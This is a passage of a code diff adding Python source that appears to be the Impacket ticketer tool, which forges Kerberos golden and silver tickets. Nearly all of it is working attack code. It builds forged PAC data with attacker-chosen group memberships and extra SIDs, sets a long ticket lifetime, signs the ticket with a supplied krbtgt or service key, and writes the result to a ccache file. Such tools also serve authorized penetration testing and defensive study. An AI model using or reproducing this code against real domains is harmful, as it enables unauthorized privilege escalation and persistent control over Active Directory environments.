+            self.__service = spn[0]
+            self.__server = spn[1]
+            if options.keytab is not None:
+                self.loadKeysFromKeytab(options.keytab)
+
+        # we are creating a golden ticket
+        else:
+            self.__service = 'krbtgt'
+            self.__server = self.__domain
+
+    @staticmethod
+    def getFileTime(t):
+        t *= 10000000
+        t += 116444736000000000
+        return t
+
+    def loadKeysFromKeytab(self, filename):
+        keytab = Keytab.loadFile(filename)
+        keyblock = keytab.getKey("%s@%s" % (options.spn, self.__domain))
+        if keyblock:
+            if keyblock["keytype"] == Enctype.AES256 or keyblock["keytype"] == Enctype.AES128:
+                options.aesKey = keyblock.hexlifiedValue()
+            elif keyblock["keytype"] == Enctype.RC4:
+                options.nthash = keyblock.hexlifiedValue()
+        else:
+            logging.warning("No matching key for SPN '%s' in given keytab found!", options.spn)
+
+    def createBasicValidationInfo(self):
+        # 1) KERB_VALIDATION_INFO
+        kerbdata = KERB_VALIDATION_INFO()
+
+        aTime = timegm(datetime.datetime.utcnow().timetuple())
+        unixTime = self.getFileTime(aTime)
+
+        kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
+        kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32
+
+        # LogoffTime: A FILETIME structure that contains the time the client's logon
+        # session should expire. If the session should not expire, this structure
+        # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime
+        # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as
+        # an indicator of when to warn the user that the allowed time is due to expire.
+        kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF
+        kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF
+
+        # KickOffTime: A FILETIME structure that contains LogoffTime minus the user
+        # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the
+        # client should not be logged off, this structure SHOULD have the dwHighDateTime
+        # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF.
+        # The Kerberos service ticket end time is a replacement for KickOffTime.
+        # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of
+        # an account. A recipient of the PAC SHOULD<8> use this value as the indicator
+        # of when the client should be forcibly disconnected.
+        kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF
+        kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF
+
+        kerbdata['PasswordLastSet']['dwLowDateTime'] = unixTime & 0xffffffff
+        kerbdata['PasswordLastSet']['dwHighDateTime'] = unixTime >> 32
+
+        kerbdata['PasswordCanChange']['dwLowDateTime'] = 0
+        kerbdata['PasswordCanChange']['dwHighDateTime'] = 0
+
+        # PasswordMustChange: A FILETIME structure that contains the time at which
+        # theclient's password expires. If the password will not expire, this
+        # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the
+        # dwLowDateTime member set to 0xFFFFFFFF.
+        kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF
+        kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF
+
+        kerbdata['EffectiveName'] = self.__target
+        kerbdata['FullName'] = ''
+        kerbdata['LogonScript'] = ''
+        kerbdata['ProfilePath'] = ''
+        kerbdata['HomeDirectory'] = ''
+        kerbdata['HomeDirectoryDrive'] = ''
+        kerbdata['LogonCount'] = 500
+        kerbdata['BadPasswordCount'] = 0
+        kerbdata['UserId'] = int(self.__options.user_id)
+        kerbdata['PrimaryGroupId'] = 513
+
+        # Our Golden Well-known groups! :)
+        groups = self.__options.groups.split(',')
+        kerbdata['GroupCount'] = len(groups)
+
+        for group in groups:
+            groupMembership = GROUP_MEMBERSHIP()
+            groupId = NDRULONG()
+            groupId['Data'] = int(group)
+            groupMembership['RelativeId'] = groupId
+            groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
+            kerbdata['GroupIds'].append(groupMembership)
+
+        kerbdata['UserFlags'] = 0
+        kerbdata['UserSessionKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+        kerbdata['LogonServer'] = ''
+        kerbdata['LogonDomainName'] = self.__domain.upper()
+        kerbdata['LogonDomainId'].fromCanonical(self.__options.domain_sid)
+        kerbdata['LMKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00'
+        kerbdata['UserAccountControl'] = USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD
+        kerbdata['SubAuthStatus'] = 0
+        kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0
+        kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0
+        kerbdata['LastFailedILogon']['dwLowDateTime'] = 0
+        kerbdata['LastFailedILogon']['dwHighDateTime'] = 0
+        kerbdata['FailedILogonCount'] = 0
+        kerbdata['Reserved3'] = 0
+
+        kerbdata['ResourceGroupDomainSid'] = NULL
+        kerbdata['ResourceGroupCount'] = 0
+        kerbdata['ResourceGroupIds'] = NULL
+
+        validationInfo = VALIDATION_INFO()
+        validationInfo['Data'] = kerbdata
+
+        return validationInfo
+
+    def createBasicPac(self, kdcRep):
+        validationInfo = self.createBasicValidationInfo()
+        pacInfos = {}
+        pacInfos[PAC_LOGON_INFO] = validationInfo.getData() + validationInfo.getDataReferents()
+        srvCheckSum = PAC_SIGNATURE_DATA()
+        privCheckSum = PAC_SIGNATURE_DATA()
+
+        if kdcRep['ticket']['enc-part']['etype'] == EncryptionTypes.rc4_hmac.value:
+            srvCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value
+            privCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value
+            srvCheckSum['Signature'] = b'\x00' * 16
+            privCheckSum['Signature'] = b'\x00' * 16
+        else:
+            srvCheckSum['Signature'] = b'\x00' * 12
+            privCheckSum['Signature'] = b'\x00' * 12
+            if len(self.__options.aesKey) == 64:
+                srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value
+                privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value
+            else:
+                srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value
+                privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value
+
+        pacInfos[PAC_SERVER_CHECKSUM] = srvCheckSum.getData()
+        pacInfos[PAC_PRIVSVR_CHECKSUM] = privCheckSum.getData()
+
+        clientInfo = PAC_CLIENT_INFO()
+        clientInfo['Name'] = self.__target.encode('utf-16le')
+        clientInfo['NameLength'] = len(clientInfo['Name'])
+        pacInfos[PAC_CLIENT_INFO_TYPE] = clientInfo.getData()
+
+        return pacInfos
+
+    def createBasicTicket(self):
+        if self.__options.request is True:
+            if self.__domain == self.__server:
+                logging.info('Requesting TGT to target domain to use as basis')
+            else:
+                logging.info('Requesting TGT/TGS to target domain to use as basis')
+
+            if self.__options.hashes is not None:
+                lmhash, nthash = self.__options.hashes.split(':')
+            else:
+                lmhash = ''
+                nthash = ''
+            userName = Principal(self.__options.user, type=PrincipalNameType.NT_PRINCIPAL.value)
+            tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
+                                                                    unhexlify(lmhash), unhexlify(nthash), None,
+                                                                    self.__options.dc_ip)
+            if self.__domain == self.__server:
+                kdcRep = decoder.decode(tgt, asn1Spec=AS_REP())[0]
+            else:
+                serverName = Principal(self.__options.spn, type=PrincipalNameType.NT_SRV_INST.value)
+                tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain, None, tgt, cipher,
+                                                                        sessionKey)
+                kdcRep = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
+
+            # Let's check we have all the necessary data based on the ciphers used. Boring checks
+            ticketCipher = int(kdcRep['ticket']['enc-part']['etype'])
+            encPartCipher = int(kdcRep['enc-part']['etype'])
+
+            if (ticketCipher == EncryptionTypes.rc4_hmac.value or encPartCipher == EncryptionTypes.rc4_hmac.value) and \
+                            self.__options.nthash is None:
+                logging.critical('rc4_hmac is used in this ticket and you haven\'t specified the -nthash parameter. '
+                                 'Can\'t continue ( or try running again w/o the -request option)')
+                return None, None
+
+            if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or
+                encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \
+                self.__options.aesKey is None:
+                logging.critical(
+                    'aes128_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. '
+                    'Can\'t continue (or try running again w/o the -request option)')
+                return None, None
+
+            if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or
+                encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \
+                self.__options.aesKey is not None and len(self.__options.aesKey) > 32:
+                logging.critical(
+                    'aes128_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes128. '
+                    'Can\'t continue (or try running again w/o the -request option)')
+                return None, None
+
+            if (ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or
+                 encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and self.__options.aesKey is None:
+                logging.critical(
+                    'aes256_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. '
+                    'Can\'t continue (or try running again w/o the -request option)')
+                return None, None
+
+            if ( ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or
+                 encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and \
+                 self.__options.aesKey is not None and len(self.__options.aesKey) < 64:
+                logging.critical(
+                    'aes256_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes256. '
+                    'Can\'t continue')
+                return None, None
+            kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
+            kdcRep['cname']['name-string'] = noValue
+            kdcRep['cname']['name-string'][0] = self.__target
+
+        else:
+            logging.info('Creating basic skeleton ticket and PAC Infos')
+            if self.__domain == self.__server:
+                kdcRep = AS_REP()
+                kdcRep['msg-type'] = ApplicationTagNumbers.AS_REP.value
+            else:
+                kdcRep = TGS_REP()
+                kdcRep['msg-type'] = ApplicationTagNumbers.TGS_REP.value
+            kdcRep['pvno'] = 5
+            if self.__options.nthash is None:
+                kdcRep['padata'] = noValue
+                kdcRep['padata'][0] = noValue
+                kdcRep['padata'][0]['padata-type'] = PreAuthenticationDataTypes.PA_ETYPE_INFO2.value
+
+                etype2 = ETYPE_INFO2()
+                etype2[0] = noValue
+                if len(self.__options.aesKey) == 64:
+                    etype2[0]['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
+                else:
+                    etype2[0]['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
+                etype2[0]['salt'] = '%s%s' % (self.__domain.upper(), self.__target)
+                encodedEtype2 = encoder.encode(etype2)
+
+                kdcRep['padata'][0]['padata-value'] = encodedEtype2
+
+            kdcRep['crealm'] = self.__domain.upper()
+            kdcRep['cname'] = noValue
+            kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
+            kdcRep['cname']['name-string'] = noValue
+            kdcRep['cname']['name-string'][0] = self.__target
+
+            kdcRep['ticket'] = noValue
+            kdcRep['ticket']['tkt-vno'] = ProtocolVersionNumber.pvno.value
+            kdcRep['ticket']['realm'] = self.__domain.upper()
+            kdcRep['ticket']['sname'] = noValue
+            kdcRep['ticket']['sname']['name-string'] = noValue
+            kdcRep['ticket']['sname']['name-string'][0] = self.__service
+
+            if self.__domain == self.__server:
+                kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value
+                kdcRep['ticket']['sname']['name-string'][1] = self.__domain.upper()
+            else:
+                kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
+                kdcRep['ticket']['sname']['name-string'][1] = self.__server
+
+            kdcRep['ticket']['enc-part'] = noValue
+            kdcRep['ticket']['enc-part']['kvno'] = 2
+            kdcRep['enc-part'] = noValue
+            if self.__options.nthash is None:
+                if len(self.__options.aesKey) == 64:
+                    kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
+                    kdcRep['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
+                else:
+                    kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
+                    kdcRep['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
+            else:
+                kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value
+                kdcRep['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value
+
+            kdcRep['enc-part']['kvno'] = 2
+            kdcRep['enc-part']['cipher'] = noValue
+
+        pacInfos = self.createBasicPac(kdcRep)
+
+        return kdcRep, pacInfos
+
+    def customizeTicket(self, kdcRep, pacInfos):
+        logging.info('Customizing ticket for %s/%s' % (self.__domain, self.__target))
+        encTicketPart = EncTicketPart()
+
+        flags = list()
+        flags.append(TicketFlags.forwardable.value)
+        flags.append(TicketFlags.proxiable.value)
+        flags.append(TicketFlags.renewable.value)
+        if self.__domain == self.__server: 
+            flags.append(TicketFlags.initial.value)
+        flags.append(TicketFlags.pre_authent.value)
+        encTicketPart['flags'] = encodeFlags(flags)
+        encTicketPart['key'] = noValue
+        encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype']
+
+        if encTicketPart['key']['keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
+            encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)])
+        elif encTicketPart['key']['keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
+            encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(32)])
+        else:
+            encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)])
+
+        encTicketPart['crealm'] = self.__domain.upper()
+        encTicketPart['cname'] = noValue
+        encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
+        encTicketPart['cname']['name-string'] = noValue
+        encTicketPart['cname']['name-string'][0] = self.__target
+
+        encTicketPart['transited'] = noValue
+        encTicketPart['transited']['tr-type'] = 0
+        encTicketPart['transited']['contents'] = ''
+
+        encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
+        encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
+        # Let's extend the ticket's validity a lil bit
+        ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(days=int(self.__options.duration))
+        encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration)
+        encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration)
+        encTicketPart['authorization-data'] = noValue
+        encTicketPart['authorization-data'][0] = noValue
+        encTicketPart['authorization-data'][0]['ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value
+        encTicketPart['authorization-data'][0]['ad-data'] = noValue
+
+        # Let's locate the KERB_VALIDATION_INFO and Checksums
+        if PAC_LOGON_INFO in pacInfos:
+            data = pacInfos[PAC_LOGON_INFO]
+            validationInfo = VALIDATION_INFO()
+            validationInfo.fromString(pacInfos[PAC_LOGON_INFO])
+            lenVal = len(validationInfo.getData())
+            validationInfo.fromStringReferents(data, lenVal)
+
+            aTime = timegm(strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ'))
+
+            unixTime = self.getFileTime(aTime)
+
+            kerbdata = KERB_VALIDATION_INFO()
+
+            kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
+            kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32
+
+            # Let's adjust username and other data
+            validationInfo['Data']['LogonDomainName'] = self.__domain.upper()
+            validationInfo['Data']['EffectiveName'] = self.__target
+            # Our Golden Well-known groups! :)
+            groups = self.__options.groups.split(',')
+            validationInfo['Data']['GroupIds'] = list()
+            validationInfo['Data']['GroupCount'] = len(groups)
+
+            for group in groups:
+                groupMembership = GROUP_MEMBERSHIP()
+                groupId = NDRULONG()
+                groupId['Data'] = int(group)
+                groupMembership['RelativeId'] = groupId
+                groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
+                validationInfo['Data']['GroupIds'].append(groupMembership)
+
+            # Let's add the extraSid
+            if self.__options.extra_sid is not None:
+                extrasids = self.__options.extra_sid.split(',')
+                if validationInfo['Data']['SidCount'] == 0:
+                    # Let's be sure user's flag specify we have extra sids.
+                    validationInfo['Data']['UserFlags'] |= 0x20
+                    validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY()
+                for extrasid in extrasids:
+                    validationInfo['Data']['SidCount'] += 1
+
+                    sidRecord = KERB_SID_AND_ATTRIBUTES()
+
+                    sid = RPC_SID()
+                    sid.fromCanonical(extrasid)
+
+                    sidRecord['Sid'] = sid
+                    sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
+
+                    # And, let's append the magicSid
+                    validationInfo['Data']['ExtraSids'].append(sidRecord)
+            else:
+                validationInfo['Data']['ExtraSids'] = NULL
+
+            validationInfoBlob  = validationInfo.getData() + validationInfo.getDataReferents()
+            pacInfos[PAC_LOGON_INFO] = validationInfoBlob
+
+            if logging.getLogger().level == logging.DEBUG:
+                logging.debug('VALIDATION_INFO after making it gold')
+                validationInfo.dump()
+                print ('\n')
+        else:
+            raise Exception('PAC_LOGON_INFO not found! Aborting')
+
+        logging.info('\tPAC_LOGON_INFO')
+
+        # Let's now clear the checksums
+        if PAC_SERVER_CHECKSUM in pacInfos:
+            serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
+            if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
+                serverChecksum['Signature'] = '\x00' * 12
+            elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
+                serverChecksum['Signature'] = '\x00' * 12
+            else:
+                serverChecksum['Signature'] = '\x00' * 16
+            pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData()
+        else:
+            raise Exception('PAC_SERVER_CHECKSUM not found! Aborting')
+
+        if PAC_PRIVSVR_CHECKSUM in pacInfos:
+            privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
+            privSvrChecksum['Signature'] = '\x00' * 12
+            if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
+                privSvrChecksum['Signature'] = '\x00' * 12
+            elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
+                privSvrChecksum['Signature'] = '\x00' * 12
+            else:
+                privSvrChecksum['Signature'] = '\x00' * 16
+            pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData()
+        else:
+            raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting')
+
+        if PAC_CLIENT_INFO_TYPE in pacInfos:
+            pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE])
+            pacClientInfo['ClientId'] = unixTime
+            pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData()
+        else:
+            raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting')
+
+        logging.info('\tPAC_CLIENT_INFO_TYPE')
+        logging.info('\tEncTicketPart')
+
+        if self.__domain == self.__server:
+            encRepPart = EncASRepPart()
+        else:
+            encRepPart = EncTGSRepPart()
+
+        encRepPart['key'] = noValue
+        encRepPart['key']['keytype'] = encTicketPart['key']['keytype']
+        encRepPart['key']['keyvalue'] = encTicketPart['key']['keyvalue']
+        encRepPart['last-req'] = noValue
+        encRepPart['last-req'][0] = noValue
+        encRepPart['last-req'][0]['lr-type'] = 0
+        encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
+        encRepPart['nonce'] = 123456789
+        encRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration)
+        encRepPart['flags'] = encodeFlags(flags)
+        encRepPart['authtime'] = str(encTicketPart['authtime'])
+        encRepPart['endtime'] = str(encTicketPart['endtime'])
+        encRepPart['starttime'] = str(encTicketPart['starttime'])
+        encRepPart['renew-till'] = str(encTicketPart['renew-till'])
+        encRepPart['srealm'] = self.__domain.upper()
+        encRepPart['sname'] = noValue
+        encRepPart['sname']['name-string'] = noValue
+        encRepPart['sname']['name-string'][0] = self.__service
+
+        if self.__domain == self.__server:
+            encRepPart['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value
+            encRepPart['sname']['name-string'][1] = self.__domain.upper()
+            logging.info('\tEncAsRepPart')
+        else:
+            encRepPart['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
+            encRepPart['sname']['name-string'][1] = self.__server
+            logging.info('\tEncTGSRepPart')
+
+        return encRepPart, encTicketPart, pacInfos
+
+    def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos):
+        logging.info('Signing/Encrypting final ticket')
+
+        # We changed everything we needed to make us special. Now let's repack and calculate checksums
+        validationInfoBlob = pacInfos[PAC_LOGON_INFO]
+        validationInfoAlignment = b'\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob))
+
+        pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE]
+        pacClientInfoAlignment = b'\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob))
+
+        serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
+        serverChecksumBlob = pacInfos[PAC_SERVER_CHECKSUM]
+        serverChecksumAlignment = b'\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob))
+
+        privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
+        privSvrChecksumBlob = pacInfos[PAC_PRIVSVR_CHECKSUM]
+        privSvrChecksumAlignment = b'\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob))
+
+        # The offset are set from the beginning of the PAC_TYPE
+        # [MS-PAC] 2.4 PAC_INFO_BUFFER
+        offsetData = 8 + len(PAC_INFO_BUFFER().getData()) * 4
+
+        # Let's build the PAC_INFO_BUFFER for each one of the elements
+        validationInfoIB = PAC_INFO_BUFFER()
+        validationInfoIB['ulType'] = PAC_LOGON_INFO
+        validationInfoIB['cbBufferSize'] = len(validationInfoBlob)
+        validationInfoIB['Offset'] = offsetData
+        offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8
+
+        pacClientInfoIB = PAC_INFO_BUFFER()
+        pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
+        pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
+        pacClientInfoIB['Offset'] = offsetData
+        offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8
+
+        serverChecksumIB = PAC_INFO_BUFFER()
+        serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
+        serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
+        serverChecksumIB['Offset'] = offsetData
+        offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8
+
+        privSvrChecksumIB = PAC_INFO_BUFFER()
+        privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
+        privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
+        privSvrChecksumIB['Offset'] = offsetData
+        # offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8
+
+        # Building the PAC_TYPE as specified in [MS-PAC]
+        buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \
+            privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \
+            pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment
+        buffersTail = serverChecksumBlob + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment
+
+        pacType = PACTYPE()
+        pacType['cBuffers'] = 4
+        pacType['Version'] = 0
+        pacType['Buffers'] = buffers + buffersTail
+
+        blobToChecksum = pacType.getData()
+
+        checkSumFunctionServer = _checksum_table[serverChecksum['SignatureType']]
+        if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
+            keyServer = Key(Enctype.AES256, unhexlify(self.__options.aesKey))
+        elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
+            keyServer = Key(Enctype.AES128, unhexlify(self.__options.aesKey))
+        elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value:
+            keyServer = Key(Enctype.RC4, unhexlify(self.__options.nthash))
+        else:
+            raise Exception('Invalid Server checksum type 0x%x' % serverChecksum['SignatureType'])
+
+        checkSumFunctionPriv = _checksum_table[privSvrChecksum['SignatureType']]
+        if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
+            keyPriv = Key(Enctype.AES256, unhexlify(self.__options.aesKey))
+        elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
+            keyPriv = Key(Enctype.AES128, unhexlify(self.__options.aesKey))
+        elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value:
+            keyPriv = Key(Enctype.RC4, unhexlify(self.__options.nthash))
+        else:
+            raise Exception('Invalid Priv checksum type 0x%x' % serverChecksum['SignatureType'])
+
+        serverChecksum['Signature'] = checkSumFunctionServer.checksum(keyServer, KERB_NON_KERB_CKSUM_SALT, blobToChecksum)
+        logging.info('\tPAC_SERVER_CHECKSUM')
+        privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum(keyPriv, KERB_NON_KERB_CKSUM_SALT, serverChecksum['Signature'])
+        logging.info('\tPAC_PRIVSVR_CHECKSUM')
+
+        buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment
+        pacType['Buffers'] = buffers + buffersTail
+
+        authorizationData = AuthorizationData()
+        authorizationData[0] = noValue
+        authorizationData[0]['ad-type'] = AuthorizationDataType.AD_WIN2K_PAC.value
+        authorizationData[0]['ad-data'] = pacType.getData()
+        authorizationData = encoder.encode(authorizationData)
+
+        encTicketPart['authorization-data'][0]['ad-data'] = authorizationData
+
+        if logging.getLogger().level == logging.DEBUG:
+            logging.debug('Customized EncTicketPart')
+            print(encTicketPart.prettyPrint())
+            print ('\n')
+
+        encodedEncTicketPart = encoder.encode(encTicketPart)
+
+        cipher = _enctype_table[kdcRep['ticket']['enc-part']['etype']]
+        if cipher.enctype == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
+            key = Key(cipher.enctype, unhexlify(self.__options.aesKey))
+        elif cipher.enctype == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
+            key = Key(cipher.enctype, unhexlify(self.__options.aesKey))
+        elif cipher.enctype == EncryptionTypes.rc4_hmac.value:
+            key = Key(cipher.enctype, unhexlify(self.__options.nthash))
+        else:
+            raise Exception('Unsupported enctype 0x%x' % cipher.enctype)
+
+        # Key Usage 2
+        # AS-REP Ticket and TGS-REP Ticket (includes TGS session
+        # key or application session key), encrypted with the
+        # service key (Section 5.3)
+        logging.info('\tEncTicketPart')
+        cipherText = cipher.encrypt(key, 2, encodedEncTicketPart, None)
+
+        kdcRep['ticket']['enc-part']['cipher'] = cipherText
+        kdcRep['ticket']['enc-part']['kvno'] = 2
+
+        # Lastly.. we have to encrypt the kdcRep['enc-part'] part
+        # with a key we chose. It actually doesn't really matter since nobody uses it (could it be trash?)
+        encodedEncASRepPart = encoder.encode(encASorTGSRepPart)
+
+        if self.__domain == self.__server:
+            # Key Usage 3
+            # AS-REP encrypted part (includes TGS session key or
+            # application session key), encrypted with the client key
+            # (Section 5.4.2)
+            sessionKey = Key(cipher.enctype, encASorTGSRepPart['key']['keyvalue'].asOctets())
+            logging.info('\tEncASRepPart')
+            cipherText = cipher.encrypt(sessionKey, 3, encodedEncASRepPart, None)
+        else:
+            # Key Usage 8
+            # TGS-REP encrypted part (includes application session
+            # key), encrypted with the TGS session key
+            # (Section 5.4.2)
+            sessionKey = Key(cipher.enctype, encASorTGSRepPart['key']['keyvalue'].asOctets())
+            logging.info('\tEncTGSRepPart')
+            cipherText = cipher.encrypt(sessionKey, 8, encodedEncASRepPart, None)
+
+        kdcRep['enc-part']['cipher'] = cipherText
+        kdcRep['enc-part']['etype'] = cipher.enctype
+        kdcRep['enc-part']['kvno'] = 1
+
+        if logging.getLogger().level == logging.DEBUG:
+            logging.debug('Final Golden Ticket')
+            print(kdcRep.prettyPrint())
+            print ('\n')
+
+        return encoder.encode(kdcRep), cipher, sessionKey
+
+    def saveTicket(self, ticket, sessionKey):
+        logging.info('Saving ticket in %s' % (self.__target.replace('/', '.') + '.ccache'))
+        from impacket.krb5.ccache import CCache
+        ccache = CCache()
+
+        if self.__server == self.__domain:
+            ccache.fromTGT(ticket, sessionKey, sessionKey)
+        else:
+            ccache.fromTGS(ticket, sessionKey, sessionKey)
+        ccache.saveFile(self.__target.replace('/','.') + '.ccache')
+
+    def run(self):
+        ticket, adIfRelevant = self.createBasicTicket()
+        if ticket is not None:
+            encASorTGSRepPart, encTicketPart, pacInfos = self.customizeTicket(ticket, adIfRelevant)
+            ticket, cipher, sessionKey = self.signEncryptTicket(ticket, encASorTGSRepPart, encTicketPart, pacInfos)
+            self.saveTicket(ticket, sessionKey)
+
+if __name__ == '__main__':
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser(add_help=True, description="Creates a Kerberos golden/silver tickets based on "
+                                                                "user options")
